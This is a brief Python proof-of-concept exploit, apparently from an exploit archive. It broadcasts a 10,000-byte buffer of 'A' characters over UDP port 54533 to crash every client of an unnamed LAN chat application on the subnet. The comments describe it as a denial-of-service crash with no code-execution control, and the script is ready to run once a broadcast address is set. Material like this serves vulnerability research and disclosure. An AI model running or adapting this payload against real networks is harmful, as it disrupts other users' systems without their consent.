  # I don't want this on injector <- notice the no leet talk.
  
  # This little application uses UDP to & send receive messages.
  # It broadcasts everything, and picks up everything
  # on port 54533.
  # The funny thing with this PoC, it will crash all clients
  # in the same subnet. Yup it's that funny. That's the only thing it does too...
  # No EIP, no SEH but the buffer is still in memory at the
  # moment of the crash. Figured I'd share anyway.
  
  
  #Commands
  # 'p' Connect and adds users to list
  # 'a' Disconnect message
  # 'b' Send message
  # 't' Direct message
  
  host = '192.168.xxx.255'#Adjust broadcast address to your network
  port = 54533

  try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   s.bind((host,0))
   s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
  except:
   print "socket() failed"
   sys.exit(1)
  
  da = "p"
  da += "W00T" + ("\x41" * 10000)
  s.sendto(da, (host, port))
